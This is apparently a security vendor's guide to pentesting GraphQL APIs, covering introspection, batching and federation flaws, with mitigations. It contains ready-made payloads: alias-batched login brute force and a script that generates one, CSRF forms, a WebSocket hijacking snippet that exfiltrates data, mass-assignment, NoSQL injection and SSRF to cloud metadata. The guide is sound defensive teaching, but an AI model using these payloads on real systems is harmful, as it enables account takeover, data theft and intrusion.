Skip to content
BreachVex
guides··21 min read

Pentesting GraphQL APIs in 2026: The Definitive Guide

GraphQL's flexibility creates a fundamentally different attack surface from REST. The top five exploitable exposures in 2026 are: (1) introspection enabled in production exposing the full schema; (2) batching and alias abuse bypassing rate limits for credential stuffing and OTP brute-force; (3) field-level authorization gaps allowing alias smuggling to access restricted data; (4) Apollo Federation subgraphs exposed directly, bypassing all router security controls; and (5) persisted query implementations that confuse APQ (a performance feature) with actual query safelisting.

GraphQL Attack Surface in 2026

GraphQL and REST expose fundamentally different attack surfaces. Understanding the delta is the starting point for any pentest engagement.

DimensionRESTGraphQL
Schema discoveryOpenAPI spec (often absent)Full schema via introspection
Resource enumerationN endpointsSingle endpoint, N types
BatchingMultiple HTTP requestsSingle request, 500+ operations
Authorization granularityEndpoint-levelField-level (often missing)
Rate limiting targetHTTP request countOperations per request (often unlimited)
Data exposureResponse shape is fixedClient-defined shape — over-fetching by design
DoS surfacePer-endpointNested query depth * field count

The most important difference is that GraphQL inverts the documentation problem. A REST API may have no OpenAPI spec, but a GraphQL API with introspection enabled publishes a complete, machine-readable schema of every type, field, mutation, and argument — including deprecated or undocumented ones.

The 2026 attack landscape is shaped by three trends: the widespread adoption of Apollo Federation (which creates subgraph trust boundary violations), the confusion between APQ and genuine query safelisting, and the systematic underinvestment in field-level authorization as schema complexity grows.

Introspection: More Than Just __schema

Enabling introspection in production is equivalent to publishing your internal data model, business logic surface, and undocumented admin mutations. The standard introspection query reveals everything:

{
  __schema {
    types {
      name
      kind
      fields {
        name
        type { name kind ofType { name kind } }
        args { name type { name } }
        isDeprecated
        deprecationReason
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

CVE-2024-50312 (CVSS: Medium) demonstrates the real-world impact: the OpenShift Console exposed GraphQL introspection without access controls, allowing unauthenticated users to enumerate the full administrative API schema. The patch was included in RHSA-2025:0140.

Field Suggestions: The Introspection Bypass

Disabling introspection is not sufficient. Apollo Server and most major implementations return helpful error messages when a queried field does not exist:

Cannot query field "usr" on type "Query". Did you mean "user", "users", or "userByEmail"?

This is the attack surface for Clairvoyance, an open-source tool that systematically submits random field names and harvests suggestions to reconstruct the full schema. The reconstruction is probabilistic but practical — common schemas (users, orders, products, roles) are recovered in minutes using wordlist-based fuzzing.

Mitigation: disable field suggestions via allowedLegacyNames: [] and a custom NoSuggestions validation rule. Apollo Server 4 does not offer a first-class flag for this — it requires a custom validation rule:

import { GraphQLError } from "graphql";
 
const NoSuggestionsRule = (context) => ({
  Field(node) {
    // Strip suggestions from all field errors
  },
});

Enum Value Leakage

Enum types leak business logic even when introspection is disabled. If an API returns Cannot query field "role" with value "superadmin", the error confirms that superadmin is a valid enum value. Clairvoyance-style fuzzing against enum arguments reveals the full value set by brute-forcing common terms against known enum fields.

GraphQL Voyager in Production

GraphQL Voyager is a schema visualization tool intended for development. When introspection is enabled in production, any user who discovers the endpoint can paste it into GraphQL Voyager and receive an interactive graph of all types and relationships — including admin mutations and internal service fields. Check for /voyager, /graphql/voyager, and embedded GraphiQL consoles accessible without authentication.

Query Depth and Batching DoS

Deeply Nested Queries

GraphQL allows clients to traverse object relationships arbitrarily. Without depth limits, a single query can trigger thousands of database operations:

{
  users {
    friends {
      friends {
        friends {
          friends {
            friends { id email role }
          }
        }
      }
    }
  }
}

A real-world incident in January 2025 used this pattern to trigger a 3-hour outage on a major e-commerce platform. The attack generated thousands of database queries from a single HTTP request, overwhelming the database connection pool before any infrastructure-level rate limit was triggered.

Mitigation: enforce depth limits at the schema validation layer using graphql-depth-limit (Node.js) or graphene-compatible validators (Python). The recommended maximum is 7–10 levels depending on schema complexity.

Alias-Based DoS and Brute Force

GraphQL aliases allow a client to execute the same field multiple times under different names within a single request. This is the primary mechanism for bypassing rate limits:

mutation {
  a1: login(username: "admin", password: "password1")
  a2: login(username: "admin", password: "password2")
  a3: login(username: "admin", password: "password3")
  # ... repeat 997 more times
}

CVE-2024-50311 (OpenShift) was discovered through exactly this pattern — alias-based batching caused server resource exhaustion via a single crafted request.

The critical insight: a rate limiter counting HTTP requests at 10 req/s allows 36,000 operations per hour. The same rate limiter with 500-alias batching allows 18,000,000 operations per hour through the same request budget.

Attack scenarios enabled by alias batching:

  • Credential stuffing with full breach databases in a single session
  • OTP brute force (10,000 4-digit PIN variants = 1 request)
  • Account enumeration via timing differential analysis
  • Email existence checking against user queries
mutation resetAll {
  r0000: initiateReset(email: "user0000@target.com")
  r0001: initiateReset(email: "user0001@target.com")
  r0002: initiateReset(email: "user0002@target.com")
}

Array Batching

Beyond aliases, many GraphQL servers support JSON array batching — submitting multiple independent operations in a single HTTP request body:

[
  {"query": "{ user(id: 1) { email } }"},
  {"query": "{ user(id: 2) { email } }"},
  {"query": "mutation { login(username: \"admin\", password: \"pass\") }"}
]

Unlike alias batching, array batching can mix queries and mutations. The server processes them as a batch, returning an array of results. Disable array batching entirely unless it is a documented, monitored feature.

GraphQL Armor provides defense-in-depth against both vectors: alias count limiting (max-aliases), depth limiting (max-depth), and cost analysis (cost-limit). For Apollo Router, the native demand_control plugin with max_cost configuration is the preferred mechanism.

# apollo-router.yaml
demand_control:
  enabled: true
  mode: enforce
  strategy:
    static_estimated:
      max: 1000
      default_list_size: 10
      default_scalar_cost: 1

Apollo Federation Security

Apollo Federation v2 distributes a GraphQL schema across multiple subgraph services composed by a central router. The trust model has a single critical invariant: subgraphs must be accessible only through the router.

The Subgraph Exposure Attack

When subgraphs are reachable directly — via misconfigured Kubernetes NetworkPolicy, an exposed internal port, or a load balancer misconfiguration — all router-level security controls are bypassed:

  • JWT validation
  • Demand control (cost limits)
  • Operation safelisting (Persisted Query List)
  • CORS enforcement
  • Rate limiting

Subgraphs also expose federation coordination fields even when the router's introspection is disabled:

# Direct subgraph query — bypasses router auth
{
  _service {
    sdl  # Returns the full subgraph schema definition language
  }
}

The _entities field is equally revealing:

{
  _entities(representations: [{ __typename: "User", id: "1" }]) {
    ... on User { id email role internalScore }
  }
}

Testing methodology: from an external network position, probe internal service ports (4001, 4002, 4003 are common subgraph defaults). If accessible, query { _service { sdl } } to extract the full subgraph schema.

The @inaccessible Directive Trust Boundary

Apollo Federation's @inaccessible directive marks fields that should not be exposed in the composed supergraph. However, this is a composition-time annotation — the field still exists and is still resolvable at the subgraph level. Direct subgraph access returns @inaccessible fields without restriction.

# In subgraph schema
type User @key(fields: "id") {
  id: ID!
  email: String!
  internalRiskScore: Float @inaccessible  # Hidden from supergraph
  stripeCustomerId: String @inaccessible  # Hidden from supergraph
}

Both fields are directly queryable on the subgraph. @inaccessible provides zero security for direct subgraph access — it is a schema composition directive, not an authorization control.

Header Forwarding Risks

Apollo Router forwards request headers to subgraphs according to its configuration. Misconfigured headers propagation rules can forward sensitive headers (Authorization, X-Internal-Service-Key) to all subgraphs, creating confused deputy vulnerabilities where one subgraph receives credentials intended for another.

# Dangerous: forwarding all headers to all subgraphs
headers:
  all:
    request:
      - propagate:
          matching: ".*"  # Forwards Authorization, cookies, internal headers

Scope header forwarding to specific subgraphs and specific header names.

Persisted Queries: Bypass and Poisoning

APQ Is Not a Security Feature

Automatic Persisted Queries (APQ) cache query strings by SHA-256 hash to reduce network overhead. The client sends the hash; if the server has not seen it, it responds with PERSISTED_QUERY_NOT_FOUND and the client retries with the full query. The server then caches the query for future use.

This means any query can be registered via APQ — including introspection queries, deeply nested queries, and alias attacks. APQ is a performance optimization with no security properties.

Apollo's own documentation is explicit: "Automatic Persisted Queries do not provide any security features. If you want to avoid executing arbitrary GraphQL operations, you should use Persisted Operations instead."

Trusted Persisted Queries (PQL Safelisting)

A Persisted Query List (PQL) is a server-side allowlist of pre-registered operations generated from first-party clients at build time. The router rejects any operation not present in the list.

The bypass attack: most PQL implementations validate the query hash but not the full operation semantics. A pentester who can register a new operation (by finding a staging or dev endpoint with APQ enabled) can sometimes poison the production PQL if the two environments share the same backing store.

Testing checklist for persisted queries:

  1. Send an arbitrary query — confirm rejection with PERSISTED_QUERY_NOT_FOUND or equivalent
  2. Send an introspection query — confirm rejection
  3. Test if the extensions.persistedQuery.sha256Hash field accepts arbitrary hashes or only registered ones
  4. If staging shares a PQL with production, test cross-environment registration
  5. Attempt __typename aliasing to smuggle restricted fields into a registered operation's shape

Authorization Patterns and Bypass

Broken Function-Level Authorization (BFLA)

BFLA in GraphQL manifests as mutation access without role validation:

# Attacker is authenticated as standard user, calls admin mutation
mutation {
  deleteUser(id: "42") { success }
  updateUserRole(userId: "99", role: "ADMIN") { user { id role } }
  exportAllUserData { downloadUrl }
}

Approximately 54% of known GraphQL vulnerabilities relate to broken access control, according to security research across public bug reports. The core cause: GraphQL has no built-in authorization layer. Each resolver must implement its own access checks. As schemas grow, coverage gaps are inevitable without systematic review.

Testing: for every mutation discovered via introspection, attempt execution from a lower-privilege account. Document the mutation signature and test it against each role tier (unauthenticated, standard user, analyst, admin).

Alias Smuggling (Parameter Smuggling)

Alias smuggling exploits field-level authorization gaps. The Detectify research team documented this pattern in a real New Relic bug where a restricted user could access admin-only licenseKey fields:

# Restricted user's normal query
{
  currentAccount {
    name
    capabilities { name }
  }
}
 
# Smuggled: licenseKey added — returned without authorization check
{
  currentAccount {
    name
    licenseKey        # Field requires admin role — not checked at resolver level
    capabilities { name }
  }
}

The root cause is authorization enforced at the operation name or query root level but not at individual resolvers. Field-level authorization must be applied in every resolver, not just at the query root.

A real-world HackerOne finding: Snapchat bug #1819832 — the deleteStorySnaps mutation lacked ownership verification, allowing any authenticated user to delete another user's story snaps. Bounty: $15,000.

IDOR via Numeric ID Enumeration

GraphQL arguments frequently expose primary keys directly:

{
  order(id: 1337) { id total items { productId quantity } customerId }
  invoice(id: 8821) { pdfUrl amount dueDate }
}

Sequential integer IDs enable full enumeration with minimal requests. A single batch of 500 aliased queries covers 500 resource IDs in one HTTP request. Unlike REST where each resource requires a separate request (and thus hits rate limits), GraphQL batching makes horizontal enumeration dramatically faster.

See the IDOR vulnerability reference for the full attack taxonomy.

Mass Assignment via Input Types

GraphQL mutations accept complex input types. If the input type definition is broader than the intended write surface, mass assignment follows:

# Intended mutation
mutation CreateUser($input: CreateUserInput!) {
  createUser(input: $input) { id email }
}
 
# Input type definition — over-permissive
input CreateUserInput {
  email: String!
  password: String!
  role: String        # Should not be client-settable
  isVerified: Boolean # Should not be client-settable
  credits: Int        # Should not be client-settable
  stripeCustomerId: String  # Internal field, leaked in schema
}
 
# Attack: supply privileged fields
{
  "input": {
    "email": "attacker@evil.com",
    "password": "secure123",
    "role": "ADMIN",
    "isVerified": true,
    "credits": 99999
  }
}

The mitigation is strict input type design: separate CreateUserInput (public) from AdminCreateUserInput (internal) and never expose privileged fields in publicly accessible input types. See the mass assignment reference for full patterns.

CSRF on GraphQL Mutations

GraphQL CSRF is possible whenever the server accepts mutations via GET requests or via non-JSON content types, because browsers can initiate those requests cross-origin without a preflight.

GET-Based Mutation CSRF

Some implementations (including older versions of express-graphql) accept mutations passed as URL query parameters:

GET /graphql?query=mutation{deleteAccount(id:"me"){success}}

A crafted <img src="https://api.target.com/graphql?query=mutation{...}"> tag triggers the mutation for any authenticated visitor.

Content-Type Bypass

When a server accepts application/x-www-form-urlencoded for GraphQL operations, a standard HTML form triggers the mutation:

<form action="https://api.target.com/graphql" method="POST">
  <input name="query" value="mutation { updateEmail(email: 'pwned@evil.com') { success } }">
</form>
<script>document.forms[0].submit();</script>

CVE-2025-68604 (WPGraphQL plugin, versions prior to 2.5.4) documented exactly this: a CSRF vulnerability in the WPGraphQL WordPress plugin allowed an attacker to trigger state-changing mutations — including creating admin accounts and modifying plugin settings — against authenticated WordPress administrators.

Separately, CVE-2026-33290 (WPGraphQL < 2.10.0) was a Broken Function-Level Authorization flaw in the updateComment mutation allowing low-privilege users to self-approve comments — a distinct issue from the CSRF flaw above.

Multipart CSRF Bypass

Research published in early 2026 identified a bypass pattern: CSRF validation applied to JSON requests but not to multipart/form-data parsing paths. If a GraphQL server supports multipart uploads (common for file upload mutations) and does not apply CSRF validation to the multipart code path, the protection is bypassed via a multipart-encoded mutation.

Apollo Router mitigates this class entirely by rejecting all non-JSON content types by default. Custom FastAPI and Express implementations frequently lack this protection.

See the CSRF vulnerability reference for the full cross-site request forgery taxonomy.

Mass Assignment via Input Types

The GraphQL schema is a precise contract of what the server accepts. When that contract includes privileged fields, the schema itself becomes the attack documentation.

A pentester's systematic approach:

  1. Extract all input types via introspection
  2. Compare the input type fields against what the API documentation describes as writable
  3. Submit mutations with all input type fields populated, including undocumented or privileged ones
  4. Observe which fields are accepted and reflected in the response
# Test: does the server accept and apply the role field?
mutation {
  updateProfile(input: {
    displayName: "Test User"
    role: "admin"           # Privileged — should be rejected
    emailVerified: true     # Privileged — should be rejected
    internalScore: 9999     # Internal — should not exist in input type
  }) {
    id displayName role emailVerified
  }
}

WebSocket Subscriptions Security

GraphQL subscriptions operate over persistent WebSocket connections, creating a distinct security surface from query and mutation endpoints.

sequenceDiagram
  participant Client
  participant WS as WebSocket Server
  participant Auth as Auth Service
  participant DB as Database
  Client->>WS: WS Upgrade (no token)
  WS->>Client: 101 Switching Protocols
  Client->>WS: connection_init { payload: {} }
  WS->>Client: connection_ack
  Client->>WS: subscribe { query: "subscription { allOrders { id total } }" }
  WS->>Auth: Validate token (missing)
  Auth->>WS: No token && No error if auth check absent
  WS->>DB: Subscribe to all orders
  DB->>WS: Stream of ALL orders (cross-user leak)
  WS->>Client: order data for all users

Authentication Timing

The graphql-ws protocol sends authentication credentials in the connection_init message payload, not in HTTP headers during the WebSocket upgrade. Many implementations validate authentication only on the HTTP upgrade request (where headers are present) and not on the connection_init message. This creates a window where an unauthenticated WebSocket can attempt subscription operations before the auth payload is processed.

Test: initiate a WebSocket connection, send subscribe immediately without sending connection_init. Compliant servers should reject the subscription. Non-compliant servers may start streaming data.

Authorization Drift

Unlike HTTP requests where each request carries a fresh token, a WebSocket connection persists. Two critical drift scenarios:

  1. Token expiration: the JWT used at connection time expires mid-stream. Does the server close the connection or continue streaming?
  2. Permission revocation: the user's role is downgraded server-side. Does the active subscription reflect the new permission scope?

A Shopify HackerOne report documented this pattern: revoked user permissions were not immediately applied to active subscriptions, creating a brief window of unauthorized data access.

CVE-2023-38503 (Directus): unauthorized users received real-time subscription updates intended for higher-privileged users due to missing per-event authorization checks.

CVE-2024-54147 (Altair GraphQL client): the client failed to validate HTTPS certificates on WebSocket connections, enabling MITM attacks against active subscriptions.

Cross-Site WebSocket Hijacking (CSWSH)

If the WebSocket upgrade does not validate the Origin header, an attacker's page can initiate a subscription connection using the victim's session cookies:

// Attacker's page — victim's browser makes this request
const ws = new WebSocket("wss://api.target.com/graphql");
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: "connection_init",
    payload: {}  // Victim's cookies sent automatically
  }));
  ws.send(JSON.stringify({
    type: "subscribe",
    id: "1",
    payload: { query: "subscription { notifications { content recipientId } }" }
  }));
};
ws.onmessage = (e) => exfiltrate(e.data);

Mitigation: validate Origin on the WebSocket upgrade. Reject connections from unrecognized origins. Use wss:// exclusively. Apply SameSite=Strict to session cookies.

See the JWT security reference and SQL injection patterns for adjacent injection vectors in resolver implementations.

Pentesting Methodology for GraphQL

Phase 1 — Discovery

GraphQL endpoints do not follow a single URL convention. Check all common paths:

  • /graphql, /api/graphql, /v1/graphql, /v2/graphql
  • /query, /gql, /graphiql, /graphql/console
  • /api/v1/query, /graphql/v1
  • Hasura default: /v1/graphql, /v2/graphql
  • WPGraphQL default: /graphql

For mobile apps, extract endpoints from the APK or IPA binary using strings, apktool, or jadx. GraphQL endpoints in mobile apps are often hardcoded strings and appear in the source after decompilation. Look for /graphql, Apollo, or application/json combined with operation patterns.

Passive discovery via Shodan: http.title:"GraphQL Playground" returns exposed development consoles. http.title:"GraphiQL" captures a broader set.

Phase 2 — Schema Extraction

With introspection enabled, extract the full schema:

{
  __schema {
    types { name kind description fields { name type { name kind } isDeprecated } }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

Import the result into InQL (Burp Suite extension) to generate a structured list of all queries, mutations, and their argument signatures.

With introspection disabled, run Clairvoyance:

python3 -m clairvoyance https://api.target.com/graphql \
  --wordlist common.txt \
  --output schema.json
 
# Then import into InQL or Voyager

Phase 3 — Authorization Boundary Testing

For each discovered mutation and sensitive query:

  1. Test from unauthenticated state
  2. Test from lowest-privilege authenticated account
  3. Compare response against highest-privilege account response
  4. Test horizontal: substitute another user's resource IDs
  5. Test field-level: add privileged fields to authorized queries
# Step 1: authenticated as low-privilege user
{
  currentUser {
    id
    email
    # Add fields that should require elevation
    apiKeys { key name createdAt }
    billingInfo { cardLast4 stripeId }
    internalNotes { content createdBy }
  }
}

Phase 4 — Batching and DoS Testing

# Generate 1000-alias login attack
aliases = "\n".join(
    f'  a{i}: login(username: "admin", password: "{pwd}") {{ token }}'
    for i, pwd in enumerate(wordlist[:1000])
)
query = f"mutation {{\n{aliases}\n}}"

Test both alias batching (same HTTP request, aliased operations) and array batching (JSON array of operation objects).

Phase 5 — Injection Testing

GraphQL resolvers frequently interface with SQL databases, NoSQL stores, and template engines. Standard injection vectors apply:

# NoSQL injection in MongoDB-backed resolver
{
  user(email: "{\"$ne\": null}") { id email role }
}
 
# SSRF via URL-accepting resolver
{
  fetchExternalData(url: "http://169.254.169.254/latest/meta-data/") { content }
}

See the SSRF vulnerability reference and NoSQL injection patterns for resolver-level injection payloads.

How BreachVex Tests GraphQL APIs

BreachVex's automated pipeline tests GraphQL endpoints as a first-class attack surface within every scan.

Discovery and Schema Extraction

The endpoint-mapping stage enumerates common GraphQL paths across the target domain and subdomain surface. When a GraphQL endpoint is detected, the pipeline attempts introspection. On failure (introspection disabled), it runs schema-suggestion fuzzing using a curated 8,000-term wordlist covering common GraphQL schema patterns across e-commerce, SaaS, fintech, and healthcare APIs.

Authorization Boundary Probes

The authentication-testing stage tests field-level authorization by systematically adding fields from the extracted schema to authorized queries and observing response differences. Any field returned for a lower-privilege role that is documented as requiring higher privilege is flagged as a BFLA finding.

Batching Attack Proof

For sensitive operations (login, password reset, OTP verification, email change), the pipeline generates alias-batched variants and submits them to measure:

  • Whether the server processes all aliases (no server-side limit)
  • Whether rate limiting triggers (counting HTTP requests vs. operations)
  • Whether the response contains differential data (confirming valid credential)

Every confirmed batching vulnerability includes a captured HTTP request/response pair showing the multi-operation attack as proof of exploitation.

CSRF Verification

The pipeline tests GraphQL endpoints for GET-based mutation acceptance and non-JSON content type handling. For web application targets with a headless browser context, it attempts form-based CSRF against mutation endpoints and captures the HTTP interaction as a browser proof of exploit.

Reporting

Findings are mapped to OWASP API Security Top 10 categories:

  • Introspection exposure → API1:2023 Broken Object Level Authorization (schema)
  • Batching DoS → API4:2023 Unrestricted Resource Consumption
  • BFLA / alias smuggling → API5:2023 Broken Function Level Authorization
  • Mass assignment → API6:2023 Unrestricted Access to Sensitive Business Flows
  • CSRF mutations → API8:2023 Security Misconfiguration

Each finding includes CVSS v3.1 scoring, a reproduction request with exact GraphQL payload, and remediation guidance scoped to the detected framework (Apollo, Hasura, Yoga, Strawberry, Ariadne).

Quick Reference: GraphQL Security Controls

ControlTool / ConfigPriority
Disable introspection in productionApollo Server: introspection: falseCritical
Disable field suggestionsCustom NoSuggestions validation ruleCritical
Depth limitinggraphql-depth-limit, max 7–10Critical
Alias count limitGraphQL Armor max-aliases: 5Critical
Cost analysisApollo Router demand_controlHigh
Disable array batchingServer configHigh
CSRF: enforce JSON content-type onlyApollo Router CSRF pluginHigh
Persisted query safelisting (PQL)Apollo GraphOS PQLHigh
Subgraph network isolationKubernetes NetworkPolicyCritical
WebSocket Origin validationServer middlewareHigh
Field-level authorization in resolversShield, Pothos, custom middlewareCritical
Rate limiting per operation (not per HTTP request)Redis-backed resolver countersHigh

GraphQL's power comes from its flexibility — and that flexibility is precisely what makes it challenging to secure at scale. The shift from REST eliminates the natural authorization boundaries that endpoint-per-resource architectures provide. Every resolver is now an independent authorization decision point. As schemas grow from dozens to hundreds of types, maintaining consistent field-level authorization coverage without systematic tooling becomes the primary source of exploitable gaps.

The attacks that succeed in 2026 are not novel — they are the same authorization bypass, mass assignment, and DoS patterns applied through GraphQL's unique batching and aliasing mechanisms. The defenders who succeed are those who treat authorization as a schema-wide concern enforced at the resolver layer, not an afterthought applied at the operation root.

Frequently Asked Questions

Is disabling introspection enough to secure a GraphQL API?
No. Even with introspection disabled, field suggestions in error messages reveal type and field names. Tools like Clairvoyance reconstruct full schemas through systematic fuzzing of suggestions. Disable both introspection and field suggestions in production.
What is the difference between Apollo APQ and trusted persisted queries?
Automatic Persisted Queries (APQ) are a performance optimization — they cache query strings by SHA-256 hash but still accept any arbitrary query registered at runtime. Trusted persisted queries (PQL safelisting) are a security control — only pre-registered operations in a Persisted Query List are executed. APQ provides zero security benefit.
How does GraphQL batching bypass rate limiting?
Most rate limiters count HTTP requests, not GraphQL operations. A single HTTP POST containing 500 aliased login mutations counts as one request. This allows credential stuffing and OTP brute-force at scale without triggering per-request rate limits.
What makes Apollo Federation subgraphs dangerous when exposed directly?
Subgraphs bypass all router-level security controls: JWT validation, demand control, cost limits, and operation safelisting. They also expose federation coordination fields like _entities and _service, which provide schema information even when introspection is disabled on the router.
Can GraphQL mutations be exploited via CSRF?
Yes. If a GraphQL server accepts mutations via GET requests or via POST with application/x-www-form-urlencoded content type, standard HTML forms can trigger state-changing operations cross-origin. Apollo Router mitigates this by rejecting non-JSON content types, but many custom servers do not.
What is alias smuggling in GraphQL?
Alias smuggling exploits field-level authorization gaps. An attacker adds an alias to a restricted field within an otherwise authorized query — for example, adding licenseKey: licenseKey inside a query for account name. If the resolver only checks operation-level authorization and not field-level, the restricted field is returned.
How do I test WebSocket subscriptions for authorization flaws?
Connect to the subscription endpoint using wscat or Burp Suite's WebSocket history. Attempt subscription initiation without a token, with an expired token, and with another user's token. Then verify that the data stream is scoped to the authenticated user — cross-user data leakage is the primary finding.
What tools should I use for GraphQL pentesting in 2026?
InQL (Burp Suite extension) for structured introspection and query generation. Clairvoyance for schema reconstruction when introspection is disabled. GraphQLmap and BatchQL for batching attacks. Altair or GraphiQL for interactive query crafting. graphql-armor for defensive configuration testing.
Does Hasura have known authorization vulnerabilities?
Yes. Hasura GraphQL Engine versions 2.10.0 through 2.15.0 contained a critical authorization bypass (GHSA-g7mj-g7f4-hgrg) in the Update Many API for PostgreSQL backends. Row-level authorization was not enforced, allowing any user with update permissions to modify and read rows beyond their authorized scope. Patch to v2.15.2 or later (v2.15.1 still vulnerable per GHSA-g7mj-g7f4-hgrg).
How does BreachVex test GraphQL APIs automatically?
BreachVex runs a dedicated GraphQL discovery and exploitation pipeline: passive endpoint enumeration, introspection extraction, schema-suggestion fallback when introspection is disabled, alias-based batching probes, field-level authorization boundary testing, and headless-browser-based CSRF verification. Every finding includes a captured HTTP proof of exploitation.